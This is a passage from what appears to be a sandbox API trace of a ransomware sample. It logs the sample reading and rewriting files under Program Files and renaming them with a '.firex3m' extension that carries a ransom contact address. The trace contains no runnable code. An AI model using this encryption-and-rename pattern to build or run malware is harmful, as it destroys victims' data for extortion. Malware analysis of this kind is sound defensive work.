Files\\rempl\\Unlock.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\rempl\\unlock.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.216] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.217] FindFirstFileW (in: lpFileName="C:\\Program Files\\rempl\\Unlock.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ce1400, ftCreationTime.dwHighDateTime=0x1d2f63b, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x71ce1400, ftLastWriteTime.dwHighDateTime=0x1d2f63b, nFileSizeHigh=0x0, nFileSizeLow=0x605, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unlock.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNLOCK~1.FIR")) returned 0x6d51c0 [0236.217] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.217] CreateFileW (lpFileName="C:\\Program Files\\rempl\\Unlock.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\rempl\\unlock.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0236.217] GetProcessHeap () returned 0x630000 [0236.217] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x621) returned 0x70f31e0 [0236.217] GetProcessHeap () returned 0x630000 [0236.217] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x621) returned 0x70f0c30 [0236.217] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.217] ReadFile (in: hFile=0x430, lpBuffer=0x70f31e0, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f31e0*, lpNumberOfBytesRead=0x6c3ff0c*=0x600, lpOverlapped=0x0) returned 1 [0236.224] GetProcessHeap () returned 0x630000 [0236.224] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0236.224] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.224] WriteFile (in: hFile=0x430, lpBuffer=0x70f0c30*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f0c30*, lpNumberOfBytesWritten=0x6c3ff0c*=0x600, lpOverlapped=0x0) returned 1 [0236.225] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.225] WriteFile (in: hFile=0x430, lpBuffer=0x70f122f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f122f*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.225] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.225] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.225] CloseHandle (hObject=0x430) returned 1 [0236.225] GetProcessHeap () returned 0x630000 [0236.225] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f0c30 | out: hHeap=0x630000) returned 1 [0236.225] GetProcessHeap () returned 0x630000 [0236.225] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f31e0 | out: hHeap=0x630000) returned 1 [0236.225] GetProcessHeap () returned 0x630000 [0236.225] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0236.225] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.225] FindFirstFileW (in: lpFileName="C:\\Program Files\\rempl\\Unlock.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ce1400, ftCreationTime.dwHighDateTime=0x1d2f63b, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52bfa8fd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x629, dwReserved0=0x6c3fd20, dwReserved1=0x70f31e0, cFileName="Unlock.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNLOCK~1.FIR")) returned 0x6d53c0 [0236.225] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0236.225] Sleep (dwMilliseconds=0x1) [0236.232] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", len=0x5b | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml") returned 1 [0236.232] GetProcessHeap () returned 0x630000 [0236.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f2c) returned 0x6fe3bb0 [0236.232] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0236.233] CloseHandle (hObject=0x430) returned 1 [0236.234] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.234] MoveFileW (lpExistingFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.235] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4eb997b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4eb997b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x75006c, dwReserved1=0x650064, cFileName="FrameworkList.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FRAMEW~1.FIR")) returned 0x6d51c0 [0236.235] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.235] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0236.235] GetProcessHeap () returned 0x630000 [0236.235] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1be1) returned 0x6feb278 [0236.236] GetProcessHeap () returned 0x630000 [0236.236] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1be1) returned 0x7138fe8 [0236.236] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.236] ReadFile (in: hFile=0x430, lpBuffer=0x6feb278, nNumberOfBytesToRead=0x1bc0, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6feb278*, lpNumberOfBytesRead=0x6c3ff0c*=0x1bc0, lpOverlapped=0x0) returned 1 [0238.385] GetProcessHeap () returned 0x630000 [0238.385] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745c300 [0238.385] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.385] WriteFile (in: hFile=0x430, lpBuffer=0x7138fe8*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7138fe8*, lpNumberOfBytesWritten=0x6c3ff0c*=0x1bc0, lpOverlapped=0x0) returned 1 [0238.397] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.397] WriteFile (in: hFile=0x430, lpBuffer=0x713aba7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x713aba7*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0238.397] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.397] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0238.397] CloseHandle (hObject=0x430) returned 1 [0238.397] GetProcessHeap () returned 0x630000 [0238.397] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7138fe8 | out: hHeap=0x630000) returned 1 [0238.397] GetProcessHeap () returned 0x630000 [0238.397] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feb278 | out: hHeap=0x630000) returned 1 [0238.397] GetProcessHeap () returned 0x630000 [0238.397] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745c300 | out: hHeap=0x630000) returned 1 [0238.397] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0238.397] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4eb997b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0x540b78da, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1bf8, dwReserved0=0x9ec7496, dwReserved1=0x6feb270, cFileName="FrameworkList.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FRAMEW~1.FIR")) returned 0x6d5500 [0238.398] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0238.398] Sleep (dwMilliseconds=0x1) [0240.547] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\wovenmat.jpg", len=0x73 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\wovenmat.jpg") returned 1 [0240.547] GetProcessHeap () returned 0x630000 [0240.547] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5408) returned 0x6fe3bb0 [0240.548] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\wovenmat.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\wovenmat.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.550] Sleep (dwMilliseconds=0x1) [0243.184] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Selected_Hard.png", len=0x7a | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Selected_Hard.png") returned 1 [0243.184] GetProcessHeap () returned 0x630000 [0243.184] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52e4) returned 0x6fe3bb0 [0243.184] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Selected_Hard.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\density_selected_hard.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.185] Sleep (dwMilliseconds=0x1) [0243.196] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square71x71Logo.scale-100.png", len=0x93 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square71x71Logo.scale-100.png") returned 1 [0243.197] GetProcessHeap () returned 0x630000 [0243.197] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52c4) returned 0x6fe3bb0 [0243.197] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square71x71Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\square71x71logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.214] Sleep (dwMilliseconds=0x1) [0243.244] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\SplashScreen.scale-100.png", len=0x90 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\SplashScreen.scale-100.png") returned 1 [0243.244] GetProcessHeap () returned 0x630000 [0243.244] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5244) returned 0x6fe3bb0 [0243.244] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\SplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\splashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.256] Sleep (dwMilliseconds=0x1) [0243.285] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\No Symbol_icon.png", len=0x78 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\No Symbol_icon.png") returned 1 [0243.285] GetProcessHeap () returned 0x630000 [0243.285] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51b8) returned 0x6fe3bb0 [0243.285] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\No Symbol_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\no symbol_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.295] Sleep (dwMilliseconds=0x1) [0243.306] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Cloud.png", len=0x6f | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Cloud.png") returned 1 [0243.306] GetProcessHeap () returned 0x630000 [0243.306] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x517c) returned 0x6fe3bb0 [0243.306] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Cloud.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\cloud.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.317] Sleep (dwMilliseconds=0x1) [0243.341] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-200_contrast-white.png", len=0x7d | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-200_contrast-white.png") returned 1 [0243.341] GetProcessHeap () returned 0x630000 [0243.341] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5118) returned 0x6fe3bb0 [0243.341] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersmalltile.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.341] Sleep (dwMilliseconds=0x1) [0243.350] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-400.png", len=0x6c | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-400.png") returned 1 [0243.350] GetProcessHeap () returned 0x630000 [0243.350] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50e0) returned 0x6fe3bb0 [0243.351] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-400.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittermedtile.scale-400.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.351] Sleep (dwMilliseconds=0x1) [0243.366] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-200_contrast-black.png", len=0x81 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-200_contrast-black.png") returned 1 [0243.366] GetProcessHeap () returned 0x630000 [0243.366] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x509c) returned 0x6fe3bb0 [0243.366] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlistsmalltile.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.366] Sleep (dwMilliseconds=0x1) [0243.397] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-125_contrast-white.png", len=0x7d | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-125_contrast-white.png") returned 1 [0243.397] GetProcessHeap () returned 0x630000 [0243.397] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x504c) returned 0x6fe3bb0 [0243.397] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-125_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlargetile.scale-125_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.398] Sleep (dwMilliseconds=0x1) [0243.413] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-72.png", len=0x70 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-72.png") returned 1 [0243.413] GetProcessHeap () returned 0x630000 [0243.413] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5008) returned 0x6fe3bb0 [0243.414] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-72.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-72.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.414] Sleep (dwMilliseconds=0x1) [0243.428] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-40_contrast-white.png", len=0x7f | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-40_contrast-white.png") returned 1 [0243.428] GetProcessHeap () returned 0x630000 [0243.428] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fd4) returned 0x6fe3bb0 [0243.428] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-40_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-40_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.428] Sleep (dwMilliseconds=0x1) [0243.446] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-256_contrast-black.png", len=0x80 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-256_contrast-black.png") returned 1 [0243.446] GetProcessHeap () returned 0x630000 [0243.446] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f90) returned 0x6fe3bb0 [0243.446] CreateFileW 